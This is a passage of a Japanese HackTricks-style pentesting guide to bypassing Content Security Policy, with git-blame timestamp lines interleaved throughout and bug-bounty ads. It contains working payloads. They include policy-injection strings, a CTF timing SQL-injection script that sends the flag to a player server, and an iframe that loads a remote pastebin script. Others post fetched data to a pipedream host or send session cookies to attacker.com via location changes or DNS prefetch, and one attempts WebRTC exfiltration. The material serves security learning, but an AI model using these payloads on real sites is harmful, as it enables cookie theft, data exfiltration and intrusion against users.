### サービスワーカーを使用する場合
2022-12-20 11:25:07 +00:00
2023-07-07 23:42:27 +00:00
サービスワーカーの**`importScripts`**関数はCSPの制限を受けません:
2022-12-20 11:25:07 +00:00
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md ](../xss-cross-site-scripting/abusing-service-workers.md )
{% endcontent-ref %}
2023-07-07 23:42:27 +00:00
### ポリシーインジェクション
2023-01-04 12:21:48 +00:00
2023-07-07 23:42:27 +00:00
**研究:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection** ](https://portswigger.net/research/bypassing-csp-with-policy-injection )
2023-01-04 12:21:48 +00:00
#### Chrome
2023-07-14 16:20:47 +00:00
あなたが送信した**パラメータ**が**ポリシー**の**宣言**内に**貼り付けられている**場合、**ポリシー**を無効にするような方法で**ポリシー**を**変更**することができます。以下のいずれかのバイパスを使用して、スクリプト 'unsafe-inline' を許可することができます:
2023-01-04 12:21:48 +00:00
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
2023-07-07 23:42:27 +00:00
このディレクティブは、既存のscript-srcディレクティブを上書きします。\
2023-07-14 16:20:47 +00:00
ここに例があります:[http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
2023-01-04 12:21:48 +00:00
#### Edge
2023-07-30 23:08:56 +00:00
Edgeでは、CSPにこれだけ追加できれば、**`;_`** Edgeは**ポリシー全体を無効に**します。\
2023-07-14 16:20:47 +00:00
例:[http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
### img-src \*;によるXSS( iframe) - タイムアタック
2020-07-15 15:43:14 +00:00
2023-07-14 16:20:47 +00:00
ディレクティブ`'unsafe-inline'`が欠落していることに注意してください。\
今回は、`< iframe ` を使用して被害者に * * あなたの制御下のページ * * を * * 読み込ませる * * ことができます 。 今回は被害者に情報 ( * * CSRF * * ) を抽出したいページにアクセスさせます 。 ページの内容にはアクセスできませんが 、 ページの読み込みにかかる時間を * * 制御できる * * 場合 、 必要な情報を抽出することができます 。
2020-07-15 15:43:14 +00:00
2023-07-14 16:20:47 +00:00
今回は、**フラグ**が抽出されます。SQLiによって**文字が正しく推測**されるたびに、**応答**が**スリープ関数**のためにより長くなります。その後、フラグを抽出できます。
2020-07-15 15:43:14 +00:00
```javascript
< iframe name = f id = g > < / iframe > // The bot will load an URL with the payload
< script >
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
2023-07-07 23:42:27 +00:00
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23` ;
2020-07-15 15:43:14 +00:00
}
function gen2(x) {
2023-07-07 23:42:27 +00:00
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23` ;
2020-07-15 15:43:14 +00:00
}
2023-07-07 23:42:27 +00:00
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
2020-07-15 15:43:14 +00:00
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
2023-07-07 23:42:27 +00:00
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i< alphabet.length ; i + + ) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
2020-07-15 15:43:14 +00:00
}
run();
< / script >
```
2023-07-07 23:42:27 +00:00
### ブックマークレットを介して
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
この攻撃は、攻撃者がユーザーに対してブラウザのブックマークレット上にリンクをドラッグアンドドロップするように説得することを意味します。このブックマークレットには、ドラッグアンドドロップまたはクリックされた場合に、現在のウェブウィンドウのコンテキストで実行される悪意のあるJavaScriptコードが含まれており、CSPをバイパスし、クッキーやトークンなどの機密情報を盗むことができます。
2023-06-26 10:50:26 +00:00
2023-07-07 23:42:27 +00:00
詳細については、[**こちらの元のレポートをご覧ください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
2023-06-26 10:50:26 +00:00
2022-06-23 12:52:13 +00:00
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
2020-09-09 09:16:35 +00:00
```javascript
document.querySelector('DIV').innerHTML="< iframe src = 'javascript:var s = document.createElement( \"script \");s.src = \"https://pastebin.com/raw/dw5cWGK6 \";document.body.appendChild(s);' ></ iframe > ";
```
2023-07-07 23:42:27 +00:00
### 情報の漏洩 CSP + Iframe
2020-09-09 09:16:35 +00:00
2023-07-30 23:08:56 +00:00
**ページがリダイレクト**され、**ユーザーに応じて秘密のある別のページにリダイレクト**する状況を想像してみてください。例えば、ユーザー**admin**が**redirectme.domain1.com**にアクセスすると、**adminsecret321.domain2.com**にリダイレクトされ、adminにXSSを引き起こすことができます。\
2023-07-07 23:42:27 +00:00
**また、リダイレクトされるページはセキュリティポリシーによって許可されていませんが、リダイレクトするページは許可されています。**
2021-07-19 19:50:23 +00:00
2023-07-07 23:42:27 +00:00
管理者がリダイレクトされるドメインを以下の方法で漏洩することができます:
2021-07-19 19:50:23 +00:00
2023-07-07 23:42:27 +00:00
* **CSP違反を通じて**
* **CSPルールを通じて**
2021-07-19 19:50:23 +00:00
2023-07-30 23:08:56 +00:00
CSP違反は即座に漏洩します。`https://redirectme.domain1.com`を指すiframeを読み込み、`securitypolicyviolation`イベントを監視します。このイベントには、ブロックされたURIのドメインを含む`blockedURI`プロパティが含まれています。これは、CSPによってブロックされる`https://adminsecret321.domain2.com`にリダイレクトされるためです( CSPによってブロックされます) 。これは、CSPを使用したiframeの未定義の動作を利用しています。ChromeとFirefoxはこれに関して異なる動作をします。
2021-07-19 19:50:23 +00:00
2023-07-30 23:08:56 +00:00
秘密のサブドメインを構成する可能性のある文字を知っている場合、CSPがリソースをブロックした時としなかった時を確認するために、バイナリサーチを使用して異なる禁止ドメインをCSPに作成することもできます( この場合、秘密はdoc-X-XXXX.secdrivencontent.devの形式である可能性があります) 。
2021-07-19 19:50:23 +00:00
```
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
2023-07-14 16:20:47 +00:00
トリックは[**ここ**](https://ctftime.org/writeup/29310)から。
2021-07-19 19:50:23 +00:00
2023-07-30 23:08:56 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (3).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-10-27 23:22:18 +00:00
2023-07-14 16:20:47 +00:00
**HackenProofはすべての暗号バグ報奨金の場所です。**
2023-02-27 09:28:45 +00:00
2023-07-14 16:20:47 +00:00
**遅延なしで報酬を受け取る**\
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報奨金を受け取ることができます。
2023-02-27 09:28:45 +00:00
2023-07-30 23:08:56 +00:00
**Web3ペンテストの経験を積む**\
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです! その成長期におけるWeb3セキュリティをマスターしましょう。
2023-02-27 09:28:45 +00:00
2023-07-14 16:20:47 +00:00
**Web3ハッカーレジェンドになる**\
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
2022-10-27 23:22:18 +00:00
2023-07-14 16:20:47 +00:00
[**HackenProofでサインアップ** ](https://hackenproof.com/register )して、ハッキングから収益を得ましょう!
2022-06-28 23:51:00 +00:00
2023-07-14 16:20:47 +00:00
{% embed url="https://hackenproof.com/register" %}
2022-06-28 23:51:00 +00:00
2023-07-30 23:08:56 +00:00
## CSPをバイパスするための安全でない技術
2023-07-14 16:20:47 +00:00
### PHPレスポンスバッファの過負荷
2023-07-30 23:08:56 +00:00
PHPはデフォルトでレスポンスを4096バイトまでバッファリングすることで知られています。したがって、PHPが警告を表示している場合、警告内に十分なデータを提供することで、CSPヘッダーの前にレスポンスが送信され、ヘッダーが無視されます。\
そのため、この技術は基本的にはレスポンスバッファを警告で埋めることで、CSPヘッダーが送信されないようにするというものです。
2022-06-28 23:51:00 +00:00
2023-07-07 23:42:27 +00:00
アイデアは[**この解説**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)から得られました。
2022-06-28 23:51:00 +00:00
2023-07-07 23:42:27 +00:00
### エラーページの書き換え
2022-06-28 23:51:00 +00:00
2023-07-14 16:20:47 +00:00
[**この解説** ](https://blog.ssrf.kr/69 )によると、CSP保護をバイパスするために、エラーページ( CSPなしである可能性があります) を読み込んでその内容を書き換えることができたようです。
2022-06-28 23:51:00 +00:00
```javascript
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
2023-07-07 23:42:27 +00:00
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">` ;
2022-06-28 23:51:00 +00:00
}, 1000);
```
### SOME + 'self' + wordpress
2023-07-14 16:20:47 +00:00
SOMEは、**ページのエンドポイント**でのXSS( または非常に制限されたXSS) を悪用して、**同じオリジンの他のエンドポイントを悪用**する技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後、攻撃者のページを同じオリジンの実際のエンドポイントにリフレッシュすることで行われます。これにより、**脆弱なエンドポイント**は**ペイロード**内の**`opener`**オブジェクトを使用して、**悪用するための実際のエンドポイントのDOMにアクセス**することができます。詳細については、次を参照してください:
2022-06-28 23:51:00 +00:00
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md ](../xss-cross-site-scripting/some-same-origin-method-execution.md )
{% endcontent-ref %}
2023-07-14 16:20:47 +00:00
さらに、**wordpress**には`/wp-json/wp/v2/users/1?_jsonp=data`という**JSONP**エンドポイントがあり、出力に送信された**データ**を**反映**します(ただし、文字、数字、ドットのみが制限されます)。
2022-06-28 23:51:00 +00:00
2023-07-14 16:20:47 +00:00
攻撃者は、このエンドポイントを悪用してWordPressに対して**SOME攻撃**を生成し、`< script s ` rc = `/wp-json/wp/v2/users/1?_jsonp=some_attack > < / script > `の中に埋め込むことができます。この**スクリプト**は、'self'によって**許可されているため**、**ロード**されます。さらに、WordPressがインストールされているため、攻撃者は**SOME攻撃**を**バイパスする**ための**脆弱な****コールバック**エンドポイントを悪用することができます。これにより、ユーザーにより多くの特権を与えたり、新しいプラグインをインストールしたりすることができます...\
2023-07-07 23:42:27 +00:00
この攻撃の実行方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を参照してください。
2022-06-28 23:51:00 +00:00
2023-07-07 23:42:27 +00:00
## CSP情報漏洩のバイパス
2022-04-20 21:55:42 +00:00
2023-07-07 23:42:27 +00:00
外部サーバーとの**やり取りを許可しない厳格なCSP**がある場合、情報を漏洩させるために常に行えるいくつかの方法があります。
2022-04-20 21:55:42 +00:00
2022-06-23 12:52:13 +00:00
### Location
2022-04-20 21:55:42 +00:00
2023-07-07 23:42:27 +00:00
単純に場所を更新して、秘密の情報を攻撃者のサーバーに送信することができます:
2022-04-20 21:55:42 +00:00
```javascript
2023-07-07 23:42:27 +00:00
var sessionid = document.cookie.split('=')[1]+".";
2022-04-20 21:55:42 +00:00
document.location = "https://attacker.com/?" + sessionid;
```
2023-07-07 23:42:27 +00:00
### メタタグ
2022-04-20 21:55:42 +00:00
2023-07-07 23:42:27 +00:00
メタタグを注入することでリダイレクトすることができます(これは単なるリダイレクトであり、コンテンツは漏洩しません)。
2022-04-28 13:04:05 +00:00
```html
< meta http-equiv = "refresh" content = "1; http://attacker.com" >
```
2023-07-07 23:42:27 +00:00
### DNS プリフェッチ
2022-04-28 13:04:05 +00:00
2023-07-07 23:42:27 +00:00
ページを高速に読み込むために、ブラウザはホスト名を事前に IP アドレスに解決し、後で使用するためにキャッシュします。\
ブラウザにホスト名を事前に解決させるためには、次のように指定します:`< link reol = "dns-prefetch" href = "something.com" > `
2022-04-20 21:55:42 +00:00
2023-07-30 23:08:56 +00:00
これを悪用して、**DNS リクエストを介して機密情報を漏洩**することができます。
2022-04-20 21:55:42 +00:00
```javascript
2023-07-07 23:42:27 +00:00
var sessionid = document.cookie.split('=')[1]+".";
2022-04-20 21:55:42 +00:00
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "< link rel = \"dns-prefetch \" href = \"//" + sessionid + " attacker . ch \"> ";
```
2023-07-07 23:42:27 +00:00
別の方法:
2022-04-20 21:55:42 +00:00
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
```
2023-07-07 23:42:27 +00:00
この問題を回避するために、サーバーは次のHTTPヘッダーを送信することができます:
2022-04-20 21:55:42 +00:00
```
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
2023-07-07 23:42:27 +00:00
明らかに、このテクニックはヘッドレスブラウザ(ボット)では機能しません。
2022-04-20 21:55:42 +00:00
{% endhint %}
2022-06-23 12:52:13 +00:00
### WebRTC
2022-04-20 21:55:42 +00:00
2023-07-07 23:42:27 +00:00
いくつかのページでは、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と書かれています。
2022-04-20 21:55:42 +00:00
```javascript
var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp));
```
2023-07-14 16:20:47 +00:00
ただし、それはもはや[不可能ではない](https://github.com/w3c/webrtc-nv-use-cases/issues/35)ようには見えません(少なくとも簡単ではありません)。
2022-04-20 21:55:42 +00:00
2023-07-14 16:20:47 +00:00
もしWebRTCで情報を外部に流出させる方法を知っている場合は、[**プルリクエストを送ってください!**](https://github.com/carlospolop/hacktricks)
2020-07-15 15:43:14 +00:00
2023-07-07 23:42:27 +00:00
## オンラインでCSPポリシーをチェックする
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
* [https://csp-evaluator.withgoogle.com/ ](https://csp-evaluator.withgoogle.com )
2020-07-15 15:43:14 +00:00
* [https://cspvalidator.org/ ](https://cspvalidator.org/#url=https://cspvalidator.org/ )
2023-07-07 23:42:27 +00:00
## CSPを自動的に作成する
2020-07-15 15:43:14 +00:00
[https://csper.io/docs/generating-content-security-policy ](https://csper.io/docs/generating-content-security-policy )
2023-07-07 23:42:27 +00:00
## 参考文献
2020-07-15 15:43:14 +00:00
2022-10-27 23:22:18 +00:00
* [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/ ](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/ )
* [https://lcamtuf.coredump.cx/postxss/ ](https://lcamtuf.coredump.cx/postxss/ )
* [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d ](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d )
* [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme ](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme )
2022-12-03 17:35:56 +00:00
* [https://www.youtube.com/watch?v=MCyPuOWs3dg ](https://www.youtube.com/watch?v=MCyPuOWs3dg )
2022-10-27 23:22:18 +00:00
2020-07-15 15:43:14 +00:00
2023-07-30 23:08:56 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (3).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-07-14 16:20:47 +00:00
**HackenProofはすべての暗号バグ報奨金の場です。**
**遅延なしで報酬を受け取る**\
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
2023-02-27 09:28:45 +00:00
2023-07-14 16:20:47 +00:00
**Web3ペントestingの経験を積む**\
2023-07-30 23:08:56 +00:00
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです! 成長するWeb3セキュリティをマスターしましょう。
2020-07-15 15:43:14 +00:00
2023-07-14 16:20:47 +00:00
**Web3ハッカーレジェンドになる**\
2023-07-30 23:08:56 +00:00
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
2023-02-27 09:28:45 +00:00
2023-07-30 23:08:56 +00:00
[**HackenProofにサインアップ** ](https://hackenproof.com/register )してハッキングから報酬を得ましょう!
2023-02-27 09:28:45 +00:00
2023-07-14 16:20:47 +00:00
{% embed url="https://hackenproof.com/register" %}
2020-07-15 15:43:14 +00:00
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-07-30 23:08:56 +00:00
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみませんか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
2023-07-07 23:42:27 +00:00
* [**公式のPEASS& HackTricksグッズ** ](https://peass.creator-spring.com )を手に入れましょう
2023-07-30 23:08:56 +00:00
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks\_live )**をフォロー**してください。
2023-07-14 16:20:47 +00:00
* **ハッキングのトリックを共有するには、** [**hacktricks repo** ](https://github.com/carlospolop/hacktricks ) **と** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **にPRを提出**してください。
2022-04-28 16:01:33 +00:00
< / details >